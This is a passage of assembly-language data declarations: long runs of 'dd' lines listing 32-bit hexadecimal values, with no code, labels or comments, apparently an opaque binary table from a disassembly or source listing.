dd 0ED60252Ah, 2F83D0Ah, 1ABC704Ah, 8753181Bh, 17EF5811h
dd 0F68C778Dh, 0AE87A27h, 5F32DD7Eh, 86DE5EFh, 777B9487h
dd 0E4E690EBh, 0D330F372h, 0B9E84BF1h, 3D23C489h, 0CD1EB451h
dd 73C7547h, 5CA8E7AFh, 4F5EDF5Ch, 5E95B18Fh, 33637BF0h
dd 1805F0DEh, 0EB6FCFD8h, 0F5FA2D9Dh, 92598E7Eh, 8300375h
dd 0FA7AEE63h, 3674671Bh, 7E16E2D1h, 0B540026Ah, 0F82F68DCh
dd 4ACA30D6h, 6DABF1ECh, 49CE3B1Ah, 0B4370884h, 7A3F8EABh
dd 282A5124h, 37A840B4h, 7A63AA46h, 71C77006h, 27BC8BC7h
dd 0C7384856h, 629522CEh, 8F4AB882h, 6F5FD379h, 5CCEA564h
dd 48E4B6F5h, 0F6FF90EEh, 5251F67Ch, 0CCDCA178h, 2EFF4967h
dd 613473BDh, 9D39D0ABh, 0DE0F5F49h, 0D7F6B1E5h, 191D6D4Eh
dd 4C5744D2h, 2B2E8BC0h, 69FB538Ah, 1B032549h, 0B9C4F929h
dd 0EE7D2D8Fh, 0FF1FF369h, 654BB1B8h, 6C0A314Fh, 8C8ADEC8h
dd 0B13B7A05h, 61D2CAA8h, 0B403272Dh, 0E84458DDh, 0FE051223h
dd 37C973B5h, 64A2B7CEh, 3FC0FACBh, 0D7CBB06Fh, 0C61BDB2Ah
dd 50FC5508h, 35EB4F6h, 0AA5AB7BAh, 6E7A62E4h, 0E6F35483h
dd 52862A25h, 0AD7D6A52h, 8BD2F229h, 577D441Dh, 623A20B5h
dd 9A88FCF7h, 60307CCCh, 3F94D5A5h, 0D0549A8Fh, 2184D8F0h
dd 0DAB1FC88h, 0AB3CA080h, 27CD0534h, 5C23EB8Dh, 0CF6825E0h
dd 0A3E852Fh, 0CFE6D5C8h, 0B8EFC1E7h, 0B12D001h, 0EEC54624h
dd 0F23AFD82h, 1BE018A5h, 7C39EACFh, 2F9EE069h, 81AE395Bh
dd 23D06A3h, 0BD780A3Ah, 5060CADFh, 56D6BAD2h, 0EF07519Dh
dd 594FE6B9h, 0EFE1A51h, 2F08DA15h, 0D6DF53FDh, 4A5FEACDh
dd 0F91D14EEh, 0E9A9CD5Ah, 82A8F3C7h, 76AFFADCh, 0C72B49F1h
dd 2CB806ABh, 557A7857h, 0C59880Ah, 2CBA3B5Fh, 0A598287Ah
dd 0D23F0D6Dh, 65670C18h, 786AE6A0h, 30882019h, 0D39E9EADh
dd 55396347h, 0C4D0109Fh, 0D76488F1h, 3978C938h, 1A269874h
dd 5F11522Dh, 81AA5E53h, 0BBD78C78h, 6C2478AFh, 10FC96ABh
dd 0B48D59C6h, 7F264C49h, 7D9EA7D9h, 72AE39FBh, 0D8783795h
dd 222BA596h, 0E1FB08A0h, 2B62573Ch, 31ABA0C4h, 25CF5C3Eh
dd 231AABE5h, 3AB2DEBBh, 899167B3h, 0FD4490B1h, 0AD8F0DA0h
dd 0F1717B3Eh, 806B4A73h, 26983580h, 0E8A90EBDh, 11606843h
dd 0C8ADF946h, 0CD9ADE9Ch, 0A6512E16h, 58932EA2h, 0EB31B78Ch
dd 0C266E98Ah, 0FC539844h, 3F5C1ECCh, 0FC0328A5h, 1B98706Fh
dd 1D35C876h, 0B672536h, 2F3E9764h, 0EABE017Dh, 90733484h
dd 640358A6h, 78E3F533h, 9862105Dh, 0EA4634Eh, 515E591Ch
dd 24027422h, 0C42E66C8h, 852D266Fh, 60F98525h, 0A06DC3D6h
dd 0BC3CCA75h, 0E714565Dh, 87D7FA3Dh, 675F5932h, 19F25164h
dd 0A7C6F19Ch, 0B6669C1Fh, 85C5EAB7h, 93862B46h, 0D54899EEh
dd 0AF86B415h, 0B0FBB8ECh, 0F0BB7281h, 0C0466849h, 0F404D8CEh
dd 50A007C8h, 0B3335218h, 8B5A5B04h, 0A8D4A21Fh, 4C79C00Eh
dd 315455B0h, 8DF3DF1h, 0BF6843D0h, 72F33B8Ch, 0B0042842h
dd 0E277059Fh, 0F7C3458Bh, 7FEAAE62h, 0BD0F14D7h, 0E8C75FCBh
dd 6682419Eh, 32280797h, 7C6226FAh, 0BDCC8CC0h, 28717A14h
dd 7B83CC12h, 936B8FA7h, 9AF732Eh, 1F3852F8h, 0C414C3FEh
dd 0CC0A50A1h, 511BA8E2h, 0B426135Dh, 7B185590h, 0DF001598h
dd 0CD136658h, 0F56C4F42h, 29654A89h, 74494ADEh, 0C17F490Eh
dd 0BA2C7028h, 653179Bh, 85060540h, 7FF3D536h, 0C089DCCBh
dd 0CDC72A46h, 2BB378D8h, 0E299426Eh, 0B4FB0CBBh, 421F7354h
dd 0DF609291h, 0A63E25AFh, 0D6E545A3h, 2DF8F0F8h, 0D3469F6Dh
dd 0D454243Fh, 0E5EA32E0h, 419FB0A2h, 2BFD93D1h, 7B9A554Ch
dd 8A9CF994h, 4B036E4h, 0DD942560h, 198DE960h, 1086FAC4h
dd 0EAF8324Ah, 5F5C26D5h, 6339937h, 6770434Eh, 409FD094h
dd 146C7FD8h, 0DDC48F0Bh, 811181C7h, 0F7AFF8C3h, 1ADB5CF3h
dd 7F252EDBh, 0B7CE3862h, 0A94E226Ch, 0BD1B9F3Ah, 88380561h
dd 6F8CD424h, 3AFD542h, 76C60F4Fh, 4566C123h, 3C2DCD9h
dd 0A1615B1h, 4D3D49B2h, 0CC13EB62h, 0BED3B05Fh, 7EAB5D23h
dd 739AC819h, 0F070998Fh, 446D96DEh, 1ADD68F3h, 8229F935h
dd 36ECCEBAh, 0B8B973B0h, 0A02D3902h, 0FFB2E1Fh, 0D9199BE8h
dd 0B3702CE3h, 58D62A89h, 4B16A5BFh, 23753E6Fh, 32E287D8h
dd 0BE6EFAEAh, 45AB38DCh, 0D9558017h, 8A129EBBh, 722DB1AAh
dd 433D2ED0h, 88457C9Ah, 940D4B70h, 7125492Eh, 4BCEC8C3h
dd 0EF3DA5E2h, 0BC44B205h, 20C295AEh, 0C77E242Ch, 0BD1E7CA2h
dd 0C0F83082h, 350ECEE6h, 628311D3h, 61EA7364h, 1C0FBDE3h
dd 0F2546064h, 2E978972h, 0F7006911h, 7D705F40h, 0B6F61416h
dd 9C95D231h, 1698EBF7h, 39297C57h, 98A0B85Ch, 2B0281FFh
dd 8C2B5945h, 0B709CD25h, 6198AB4Ch, 934A1121h, 0CA3BF494h
dd 65EA0E2Fh, 0EB66293Dh
dd 0BD62B765h, 0FD705040h, 9A83F7AEh, 7B614F72h, 66E43964h
dd 0B6F7398Ch, 0AFEB79B1h, 2F708A2Bh, 4A888C92h, 0D3900AABh
dd 4F3531D0h, 2A6E3787h, 4B26EC03h, 0A700DBCEh, 0CBE3CF7Eh
dd 640B6352h, 8E023AA1h, 8799D14h, 1EAC6881h, 2133F37Ah
dd 0CBA4F9h, 909B86Ah, 546A4086h, 2E5813BBh, 95B1B2D7h
dd 9EC54E89h, 0E3E9173h, 2EEF83FBh, 0F4879A65h, 6A7C48A5h
dd 5DE5AA7Bh, 7A5721E3h, 803FCB0Ah, 0BFFC70A6h, 0A7A2A76Dh
dd 0EAE2804Ah, 2328EF3Ch, 3852AB9h, 403A805Eh, 0FCABB0F4h
dd 6CA330h, 4DB4A361h, 0D3482DCEh, 0EBAF8657h, 0E0E2E4Eh
dd 0FEA4EDF1h, 0AF03D107h, 0B313F760h, 30E0CF2Ch, 671B617Bh
dd 95068FC4h, 25075D0Eh, 9FF744ECh, 2D498DDEh, 0C6A9B006h
dd 4EF67B9Ch, 0E2762EB9h, 2F87C390h, 68A9943h, 3CD44D9Ah
dd 23F80A6Eh, 0AF386B68h, 0D717CF6Ch, 0E4CD8AFFh, 0F0E87F75h
dd 0EBDEA327h, 0C2CD754Ch, 1895FF8h, 0C6423E1Dh, 0D127C9B2h
dd 2951EC7Ch, 0FB96F246h, 0C04713FAh, 203A4C99h, 544ED04Bh
dd 0B8550889h, 4F0DB92h, 76880905h, 0FDB91DB2h, 151C537Fh
dd 21D1AC20h, 1149D6C5h, 86FEF1FBh, 503C7F80h, 9D185683h
dd 0DC89C54Bh, 0B393CBF7h, 4F0BDBA5h, 0E015ABCEh, 8DF03A5Eh
dd 4918B2D3h, 0FAEF756Bh, 0B78D1BE2h, 0C86E3D40h, 0BD4E13FAh
dd 5622390Ch, 0CE11481Ah, 0B48C4C50h, 0C96DD4A0h, 7CA287F6h
dd 0B44E008Bh, 2A1A4313h, 0D5A68023h, 0BDA8C9FBh, 0C996C60Fh
dd 81DEF0AEh, 395FA243h, 2EA87084h, 0A97796F0h, 0B60E5D80h
dd 2913A6A2h, 472509D6h, 1A023437h, 1888CA19h, 92636D2h
dd 0F9852F37h, 91DB6ED0h, 3E609F42h, 0DB4CB2Ch, 400CB804h
dd 80A0DF3Bh, 0D613049h, 0ABDE5B0Bh, 0E3CE3DF6h, 0CB0718D3h
dd 0D736A564h, 84429BFDh, 0F12081ACh, 4F97E087h, 8BF7F452h
dd 2B21BAC0h, 0E744F265h, 0B022EA87h, 2E9CBBBEh, 173C764Dh
dd 0AECD1CF3h, 0B395E293h, 77EAADCDh, 0BA5371D6h, 0F0B32C30h
dd 5BBADD73h, 0ECB797Bh, 0B9AB3B5Ch, 0FC2D42D0h, 668E7CBAh
dd 44016C2Eh, 6DFA224Bh, 0CFB64675h, 0A8D8FEA5h, 59E4CB77h
dd 0F57480F8h, 0C4B26F12h, 5F30796Ah, 0E64EE4h, 0B375410Ah
dd 464EA5B2h, 0A9E0C68Fh, 19A982CDh, 67C85658h, 6D18F4B3h
dd 0AC94AE4Ah, 0DA282D55h, 52C03421h, 0C9F006B9h, 0AFF78EE6h
dd 4BEC9825h, 1A0B34FBh, 9A049304h, 853DC010h, 9E2D6A54h
dd 0D671830Ch, 2046EF6Eh, 90B17DE5h, 67B28592h, 3818F3FEh
dd 5EEB86C3h, 0C786365Dh, 8D9228B9h, 8D8EC039h, 8F96FF89h
dd 84FB1725h, 0A3ADFC79h, 8199194Ch, 958FF126h, 7032EB0Ch
dd 66D7BD4Eh, 0B23F1FB2h, 5FDF98F7h, 2ED2CCD8h, 4695D6F3h
dd 2584A481h, 82B21231h, 5337ED8Bh, 0EFC2DA81h, 63F8AD38h
dd 7C17244Bh, 0F29E014Fh, 0F351D07Fh, 0AAF949DBh, 9EFC2E18h
dd 25D7F49Ah, 0CB79F85Ch, 0AE7ADA38h, 982BDF1h, 2ACF449Fh
dd 76826184h, 85073A85h, 262B1E66h, 0E6673B57h, 5231E357h
dd 0D44E5439h, 7EB321E1h, 0D5381198h, 6677F877h, 74231079h
dd 34D7EE0Ah, 30A702FEh, 8C0DF2E6h, 5EF4AE93h, 0BF7FEF22h
dd 2E072964h, 3DF69E38h, 4D58EB7Bh, 91C0C20Eh, 187AEF34h
dd 20C64974h, 0CEB02BF7h, 0F29D82FCh, 0FFA7128Ah, 27CF0D14h
dd 0EB808025h, 0BE80BF81h, 0CB0CBB92h, 309725Eh, 0A9F66CC9h
dd 4869065h, 9A7AA4A5h, 0A40CE80Fh, 71F65AA5h, 0DEF7FAF3h
dd 0E9C5788h, 1088D02Bh, 0C024EF8Bh, 0D2A0AD23h, 0A9933ECEh
dd 8E16516Ch, 5ABF3C66h, 4A46E0A3h, 0AC3B312Ah, 0BFB7A23Fh
dd 8935B571h, 0A0486818h, 0FF17DB46h, 1BAAF2B4h, 97DE9D48h
dd 0D14EA953h, 79F70FEAh, 0D88D9406h, 0A424C100h, 0AB23A493h
dd 5B6573E6h, 6585961h, 74375B83h, 4C0CC9D0h, 0C7366262h
dd 95FB9A3Dh, 0F61D7CF9h, 0D0375321h, 0DC44A1EAh, 4DB92FB3h
dd 358A9D09h, 0A7D254CEh, 0EF92C6Fh, 0F7111AEFh, 0A5AA3955h
dd 42F7CCD4h, 6CF56CD3h, 0E50A19EFh, 182D9E2Dh, 0F805DAE3h
dd 0A852BD27h, 2EA10E16h, 0C0A02E7Dh, 4C0B5D7Fh, 5B188C56h
dd 0F428FF22h, 4D7588DDh, 5CE70EEh, 0FEE8974Bh, 2801832Bh
dd 8EF7B2F0h, 43F80378h, 0F14686FAh, 51F74611h, 47AF4C37h
dd 0C6E572CAh, 264E75C6h, 0BCCB2C2Fh, 9261D434h, 0D5718B23h
dd 0BC734BEEh, 0D9D16EE0h, 0DEE459E3h, 63704105h, 9691CF91h
dd 638B0D35h, 846ED1F3h, 9EC36CAEh, 109C4F35h, 9A21A55Ch
dd 0EA8B21BAh, 1608714h, 0D6D40419h, 5152AC05h, 9A0FEFB4h
dd 89304E04h, 3A8AFF0Dh, 0FD7E5B4Fh, 45202263h, 0B969106h
dd 0AC8BF6C4h, 12A8DC78h, 0B5F686B1h, 639D6975h, 0A3B44330h
dd 0B0503A0Eh, 26189141h, 6BDB362h, 0A2A21776h, 988B3219h
dd 0E4761B1h, 1F9D52D3h, 39795912h, 0FF51A487h, 0B0C2684Dh
dd 3A7D733Bh, 0B6476EA1h, 0D387326Ch, 9A2C8B17h, 0BA111DC7h
dd 232E7315h, 0DF0E6DBEh, 0E1EB2068h, 431C3F3Bh, 3D3F8DD1h
dd 8B0EA505h, 25501346h, 6CDCC8B6h, 7CDB76EBh, 0FD71803Bh
dd 75F1B277h, 0C4E9183Ch, 0F8E4C22Bh, 53AF2B55h, 1D7D13C6h
dd 1A99D8AFh, 0E91E9A02h, 0CC17F95Fh, 0EBF19EA7h, 0B233F791h
dd 1199FCE6h, 93989A62h, 50245449h, 0DC262C12h, 1E3CBC69h
dd 3032E34Dh, 80C55CBDh, 0A60FB6E5h, 0B24981FAh, 0D01F7F28h
dd 6F43B8B0h, 646C74E9h, 32618795h, 6227E285h, 8A7FACBBh
dd 0A1855F11h, 26F1B219h, 82606EDEh, 649DA1BAh, 2E207708h
dd 0E4EA9F3Ch, 9524FBBBh, 0B5ACA67Dh, 0C21251C3h, 3891280Eh
dd 5F12A86Dh, 27EE2390h, 92AF70A6h, 3FAA5C5Ah, 8627245Fh
dd 2F21A467h, 0C5711BACh, 40D60312h, 0C2FB656h, 0E0ED3775h
dd 6FE30847h, 0E683A9E4h, 6E3DB558h, 0B36163CFh, 202E9497h
dd 0A4EC2844h, 524ABC76h, 176E86D4h, 0D38F868Bh, 0E026B093h
dd 650B8541h, 6F67F611h, 53E94FDEh, 5FEC3183h, 3CDA3652h
dd 0CFCB2BA1h, 0D14E3331h, 0FC8129F8h, 0EBC10F7Ch, 8CEFC4C1h
dd 0D0EDEB1Dh, 0BAE04C7Dh, 59F019EEh, 0C06D7104h, 7966E402h
dd 0B5E3E6ACh, 1E8E4991h, 0AB339499h, 0EEB1BE64h, 8570D9F3h
dd 5C856F3h, 34DE4479h, 2F6C4519h, 0F186C890h, 4444B571h
dd 0DA226013h, 9388FD3Fh, 0A4FD30E7h, 666E37F0h, 47AD63A2h
dd 2A3DA9C1h, 758995E1h, 0ADDA671Ch, 0DC65FC7Fh, 5FEA8E4Bh
dd 0A07FEDC3h, 200CD80Eh, 0B5DAD9FFh, 851018F6h, 73B2A2E0h
dd 3997EB9Ch, 42DC69E1h, 3219B459h, 0AA57149Fh, 0B1F2C71Ch
dd 7A05C290h, 9CA0C21Ch, 344ABE6Eh, 12CDB313h, 0E9909FBh
dd 39425700h, 9F894BD5h, 3532B060h, 0A6647548h, 0A3743DA9h
dd 0C55FA758h, 0F266A04Fh, 45EEA98Bh, 0B744E6C7h, 10C9A190h
dd 1F4B0656h, 5455A43Ah, 389BCBDFh, 0F10D96BEh, 6221316Ch
dd 0D1C594BEh, 21403E32h, 3A29F54Bh, 5A82E93h, 1914F4C2h
dd 0E99BF75h, 3632A540h, 0D1ACB4ADh, 8BB454E4h, 63EF7F67h
dd 68A44A20h, 81CADE5Bh, 1EC4C865h, 0D725CA5Ah, 0A32AC9ECh
dd 93A6FF2Dh, 0C4C4970h, 3C936536h, 4E7100A7h, 8617572Ch
dd 821F42ABh, 43E9700Bh, 703B59CEh, 42386B59h, 0F88501DEh
dd 0BCD683BEh, 0BC11A2F0h, 0A5AE274Bh, 3B5B13BBh, 0EA0EFA84h
dd 34B64662h, 13257A5Bh, 770139Eh, 806AB7A4h, 4044521Fh
dd 5E652234h, 0B1F4933h, 0D441B3E3h, 9F079A9Bh, 126B418Bh
dd 8743AB28h, 8B186893h
dd 255952F4h, 0A6999D10h, 6A5452F2h, 3D565A22h, 48295DADh
dd 193B8202h, 87012CFDh, 0F338A65Eh, 8E10E04Eh, 0FDC3DF34h
dd 8F5BAE80h, 0E143652Eh, 0A0089103h, 61AB5306h, 29AEDDA4h
dd 65AB4EDBh, 4661647h, 6B78DF6Ah, 73E8EDEDh, 0BD81EB93h
dd 76389D4h, 303DFBA9h, 0C8B989A7h, 0EEB4684Dh, 0D49B3864h
dd 0AD604B19h, 8CDCB820h, 879F0351h, 3F7CFD2Fh, 0A5FCD3ECh
dd 0A79702EFh, 25F6B625h, 8DA32962h, 0ABDE910Ah, 10B764F7h
dd 0F16AECE6h, 922BF9A5h, 901D8B16h, 72C26BB7h, 4736AE28h
dd 0C7208FA4h, 7B4574FAh, 9C4C94A3h, 0B038E80Ch, 0AF0F043Eh
dd 0EDD98BB7h, 1288B54Ah, 407521D3h, 45756ECCh, 0F20213ACh
dd 0FAB214C4h, 7E19BF84h, 56E68AC0h, 8D2C6F66h, 51509E84h
dd 3C089243h, 8FC46846h, 0DFDC13E7h, 0AC872FEBh, 9501325Ah
dd 478D2829h, 0ABAB2D38h, 0E318191Ah, 0AD54C4FDh, 0D9202BCDh
dd 0BDC65C74h, 16E388DAh, 0C7F0C868h, 11771CECh, 811818DDh
dd 531E92DFh, 69E3300Dh, 0EFC9C457h, 98DCA0CCh, 0BB7767D0h
dd 89BB10B9h, 0F68E406h, 9BF1F3F9h, 9ED2128Ch, 0AF5BEC03h
dd 0BFE7E819h, 0D7723142h, 7D39ED24h, 5BF17545h, 587E9156h
dd 96D1D6B5h, 5D65B911h, 21CE25C9h, 0D440581Bh, 71E162Ch
dd 0A6E88113h, 0E582E779h, 7453981Ah, 3B312840h, 6A246E1Ch
dd 0BD787700h, 0BEE25FA1h, 0A65D6069h, 2379DF6Ch, 88053F9Eh
dd 0BA0EAF9Ch, 67AFEF2h, 0E96FDBF0h, 0AFE58710h, 0BD678A84h
dd 0A472B5E2h, 9B361C7Dh, 0B3BEF9E7h, 0C3F7A2DDh, 0B0097CBEh
dd 864E82E5h, 605F8499h, 8451FEE1h, 0E57C7323h, 1267F879h
dd 3F708ACCh, 0DD48D419h, 0ABF0343Ah, 0B006C0E6h, 23396478h
dd 0BCED7B9Fh, 76113DC0h, 0BCCB6A1Eh, 24A3316Dh, 43956DAFh
dd 0BD05E3BBh, 0B0318667h, 0FCCA182Dh, 96335D2Ah, 0ADC81F2h
dd 1ABF5FC0h, 87A01653h, 184D1C60h, 0CE4D162h, 702873B4h
dd 446194ABh, 19DE147Ch, 14EB0439h, 4A9B835Ch, 3A19C4F3h
dd 130D03B9h, 3E4C8B47h, 2BD68306h, 0B43A6281h, 2B3CB6A3h
dd 9E9F4F89h, 0E2FF7360h, 0B836638Eh, 2D895DA3h, 0D4C8FD0Ah
dd 75209E5Dh, 0A8187B6Dh, 0BEF92E0Eh, 8DF30BBCh, 6F6057CFh
dd 3EAB1C0Dh, 0BCD345Ah, 9220E2BBh, 6672BE15h, 92FD50A0h
dd 84FA6C84h, 37D64AEDh, 5E08DACAh, 4C8DD076h, 0EE07EC57h
dd 0B3AB63A2h, 0FEB08904h, 0FB1BBDDDh, 9715AD3Dh, 83219BDh
dd 993D5354h, 0FBF89C95h, 8D5573AEh, 49B33030h, 8501AD10h
dd 56E7AFD4h, 7AB7F326h, 2411DEEFh, 61296300h, 81D5D1DBh
dd 18C8BEF0h, 4977CAA0h, 0B506773Dh, 5C8068E4h, 8E4AEFDFh
dd 6A808FE3h, 70D43E9Ah, 2E78EC5Ah, 28414556h, 0EA2FC1C3h
dd 7A775079h, 66277ACFh, 9B95F271h, 0C66BE554h, 0E30F2A77h
dd 70AB038Bh, 0CB6A4C6Fh, 21EAD678h, 8FAD0073h, 1278D869h
dd 884BA222h, 10B3AAD8h, 9970FFEBh, 1033927Dh, 0EBC63F36h
dd 0FA043F26h, 4640916Ah, 6C812CAFh, 87284513h, 0F0649C8Bh
dd 0B59173E4h, 2482E4B5h, 7A4B229h, 45C3ECABh, 0A8707E35h
dd 56DCA55Ah, 58F05DBEh, 5777BE8h, 4EE246A9h, 9A725DDFh
dd 0F1B0DD81h, 0ADB3642Ah, 568B58D2h, 0A6408A34h, 0FDFAFC48h
dd 0FB7DE021h, 3D6DE55Eh, 1977B84Fh, 40FA82FEh, 0F2F1A85Bh
dd 0AE37F283h, 0A743A4BBh, 0C77541CAh, 431D370Ah, 19D1EAB8h
dd 387DB7D2h, 7CB7F106h, 1456C60Bh, 0A73FF378h, 0E4DA9408h
dd 0AE710A21h, 627491C0h, 39E20CD8h, 0CC29C251h, 0E48EB244h
dd 0BB1D04D3h, 0E63154FAh, 0AE02582Ah, 0BEE0367Fh, 75ED2488h
dd 9709C42h, 372E0ADh, 0E825B1EFh, 0B3E87558h, 0D5D6135Bh
dd 0FFB81CF4h, 11C000DCh, 8DFEAA95h, 5F987539h, 7BB591B6h
dd 237C73A3h, 58BA29DFh, 0DFCE4CAEh, 14A0CE9Fh, 36F13FFEh
dd 0E083B703h, 73488B0Fh, 6DFF29C1h, 9BE0FCA2h, 8259F149h
dd 32284A6Dh, 5BA14D89h, 47BE5576h, 8A4DCCE4h, 425E7427h
dd 0E1AC02FFh, 74568CFCh, 0A0A8DCD9h, 744ED18Bh, 0DA03D723h
dd 0C0BE3288h, 81723D21h, 132A0B42h, 0ED589CDAh, 0B8F6BDB0h
dd 886392D7h, 2A853470h, 0D741B027h, 0D4E53D29h, 1411BE31h
dd 6FBB01F3h, 0CF49C6C3h, 0BBA1F8C6h, 6DB4E9C3h, 0C0F7EAB0h
dd 0A9D3A423h, 9116FA4h, 705F5ADh, 0D9BA4974h, 708580CCh
dd 0FCF37578h, 3F793E1Bh, 9467AF17h, 774C875h, 8D2E5921h
dd 93B02299h, 9E23BDD2h, 16E268E2h, 935C9FE3h, 7448428Fh
dd 0FD82DEE0h, 0DDDE19D6h, 0DA8363CEh, 0A2F672F4h, 4684601Fh
dd 1C2765F9h, 8DF58992h, 0F5030257h, 0D801A8E3h, 0DFCECBF8h
dd 73E968E1h, 6EE7EFD8h, 9C385A5Ah, 0B446903Dh, 1E299644h
dd 0A420395Ch, 20CA4534h, 0D794DF57h, 34EA9D5Ch, 0E0FDC7B3h
dd 63892544h, 0BD98010Eh, 11FCB706h, 1E5A1F71h, 895492C8h
dd 82B4F243h, 9628AEBBh, 0D47B3C24h, 0A4F626CFh, 20AA21E0h
dd 0A1047C49h, 51E28F32h, 0C0D87D21h, 0E04A573h, 0F9712491h
dd 8B3EFEC2h, 0F0130F88h, 99332F71h, 1D034085h, 0BEDEABFh
dd 0ABDD6B90h, 26E2609Dh, 0A4B9F2D7h, 8A76203Eh, 0DF6BEB0Fh
dd 7AAE63A8h, 0D676D3BAh, 0CC791B15h, 0F3A1FC68h, 5F6C5518h
dd 3C4E6860h, 28E70D42h, 196117CAh, 708A11DCh, 3576259Ch
dd 2F9E8A75h, 0B56CF93Ch, 39185DC7h, 0CC8AA27Fh, 0F7AD3CFFh
dd 6A0301Fh, 210C6AB0h, 9DC0945Eh, 244D4925h, 0EFE80D15h
dd 0D5CD9823h, 95017024h, 0F1F7BF69h, 0D3D25BF3h, 0A205AE30h
dd 3CB51B65h, 8E6FC36Eh, 861CEFB9h, 1CB24E55h, 4B14633Eh
dd 7B07D412h, 0A6554474h, 7272A32Fh, 4D96B954h, 0A5054686h
dd 0DD6A048Fh, 0D6012DA7h, 0A1791C9Fh, 0E5A00D60h, 3312405Fh
dd 393A3DD6h, 0DBF936BEh, 0AEAE6586h, 6054068Dh, 5DCDF91Ah
dd 9312AB6Dh, 0A3272FAFh, 66CEB435h, 0E7452A05h, 9664F226h
dd 89034B6Bh, 0DD0B83EFh, 43CB2660h, 0F304CBF1h, 0BD6AC0ADh
dd 27217175h, 0AACA0335h, 29755C2Ah, 0D4835800h, 5F873735h
dd 0C9D96439h, 4763807Bh, 23553C1Eh, 713EF49Fh, 6C6D3DDDh
dd 0FF493A5Eh, 7BF5250h, 0D6CE607Fh, 0A5A68CFFh, 0B2CC2E40h
dd 821C34A7h, 0B3AB4907h, 578B6E9h, 158B016Ah, 0AD10140Ch
dd 4280899Ch, 0C951F94Bh, 43B6723Ch, 0E7667AACh, 324BBF8Ch
dd 0B39908E4h, 7BFEEE78h, 0C360CB5Dh, 2FD275D2h, 35A6EE2Fh
dd 0C95C9403h, 0BEE267C6h, 216925FCh, 48FBD1B3h, 44237341h
dd 243EF908h, 0B36197F0h, 0F06DD143h, 3848DB92h, 0F25F95C6h
dd 570FCE28h, 505FC42Ch, 60F8280Bh, 0D8A9CE02h, 0F57DFEB2h
dd 564C58A8h, 966AA6DBh, 8B258CBFh, 0E4FC3A30h, 0BE357487h
dd 0DE7E900Dh, 89979F8Eh, 798703F2h, 7EFB6A8Ch, 467CF793h
dd 2FE10387h, 0F28E892Eh, 0E05A684Eh, 72A87B36h, 0E75B9E4Fh
dd 51287BB6h, 65BADF7Bh, 5F3E3A54h, 0F8DDD179h, 13ED9FADh
dd 6BC192A2h, 8FBA92D7h, 3B951AADh, 2E15B70Bh, 8E8FDB2h
dd 980087ECh, 0BB5D5705h, 9D2E3826h, 18B0AFC5h, 0BFDA9C03h
dd 73EAC6Ch, 4AF582FFh, 67659683h, 8DB5A553h, 0AFA6BA00h
dd 9EF3B786h, 0A8960819h, 0FBA158A6h, 453B9F06h, 2439A7Ah
dd 0E8DFB93Fh, 0B3BF23CFh, 0C70620C7h, 0D4D8A484h, 0FCD7E154h
dd 666FC41Bh, 0B2F5B6A3h, 0E21E341Bh, 86F07A49h, 2E461F0Ch
dd 3FC75059h, 1CF1A7B1h, 0D0A46DA5h, 0F3D4715Dh, 0E4C7F057h
dd 0AF1D6D1Dh, 0C492F841h
dd 0AF0D16FFh, 0F8B6853h, 7DE760BAh, 847A57E0h, 0D6C37227h
dd 3607C3AFh, 910FD451h, 446A4857h, 0C75E89F9h, 0C6E04666h
dd 123307EFh, 0F0A010B7h, 210ED882h, 4ADA55A2h, 9CC7152Ah
dd 6360CEB0h, 443697DDh, 360F3266h, 0F0EEA351h, 0ECF4D5E5h
dd 0C332AEA3h, 39E26A8Eh, 948AFE22h, 0E0C68026h, 16AD6380h
dd 7782608Bh, 47B1C652h, 4099A258h, 2D9B1DD7h, 6F1C597Ch
dd 7A42FFB3h, 2010B4FAh, 0F558B466h, 623FD232h, 8B7A0F10h
dd 0B73D24E7h, 83F0BC76h, 7C1CD9A2h, 3DF24828h, 1EEB4866h
dd 0DC2841B5h, 1B1EFF80h, 0C8515CF8h, 39D5A8BFh, 70B17017h
dd 0C9DE737h, 0DDD29221h, 6E310480h, 55382539h, 52109CBCh
dd 8E0AB753h, 51980898h, 7C1FA1EFh, 0F492E669h, 80546C97h
dd 0A40325EEh, 0BBC2FCCEh, 26597924h, 1DA0ADE3h, 0CFCAB386h
dd 0E678370Dh, 5D43CB8Fh, 572E00F1h, 92DACE56h, 6900D794h
dd 0C16FCAB3h, 0A2C8C047h, 3C78055Dh, 0F509C43Fh, 90439C17h
dd 3FC128CCh, 0B99CF726h, 8829B0C4h, 44160FA4h, 9B985861h
dd 545FF888h, 6C6E9B42h, 4393CD3h, 9070CE11h, 5E83CBC7h
dd 998AF8ABh, 8A503DABh, 1762DF50h, 5C648BB1h, 186C3144h
dd 0F98586CFh, 602C4593h, 22555EFBh, 0B514C12Eh, 9833A76Ch
dd 4DD6FF42h, 5B045AFEh, 0C173C218h, 0C9EE7191h, 0D36CE5AEh
dd 0DDE7E065h, 0B31D0E92h, 0C58079Ah, 0D027DF3Ch, 6FE2EF3Dh
dd 0CE148654h, 7EB2D07Ah, 7F764B69h, 195D5853h, 990D264Eh
dd 684D7AAAh, 0B53250E0h, 24A216C7h, 8C6F5517h, 0F403F397h
dd 2A3D7706h, 0B1014448h, 0D1478C00h, 0CB4A3829h, 0FDAE05F4h
dd 0B4F8CB56h, 0F5614931h, 0C002DA43h, 21C947ACh, 0DB1C8B23h
dd 2BD21C1Dh, 0CB67AB99h, 0E6D8501Ch, 45CACEC5h, 0A7ED5D0Dh
dd 53BE0E32h, 57E999D1h, 2CC4B3B6h, 0CA56B64Ch, 0BF81F589h
dd 1076EFADh, 0B38D5605h, 3FDC72BCh, 6B6DCBFDh, 49BA1124h
dd 4AB60C70h, 0E9D47687h, 25D73764h, 0A5F47A62h, 577274B2h
dd 0ED026ECEh, 0D5BFE15Ch, 0DFBEE5C4h, 3E79A82Bh, 0B9C51A3Bh
dd 2B059CC4h, 3053CE07h, 45833F87h, 26BD9928h, 0CD075596h
dd 656E00ACh, 5B1525F2h, 862023AFh, 0E4EEA029h, 0B4DD0E89h
dd 1E600C45h, 0E9985E4Eh, 79D114A6h, 0D356E64Ch, 0E802D7A3h
dd 9FBF72F4h, 4D356C4Eh, 0A97F1C74h, 5FA2164Bh, 0DA31EDD0h
dd 0F51CEC54h, 6582162h, 3C109804h, 3E03EB9Ch, 6D07920Ch
dd 1BBE650Fh, 0E7EC4553h, 7724AAF2h, 0C577BCD5h, 27305552h
dd 0C976433Ah, 35274D29h, 6D7D165h, 247BC57Bh, 0C92B5CEBh
dd 0A2D02C29h, 29D2CF3h, 8C18D309h, 9C9DC2D9h, 272DCD77h
dd 87ACBD0Bh, 41774370h, 2E049050h, 0EC44E0BDh, 0C7A325CCh
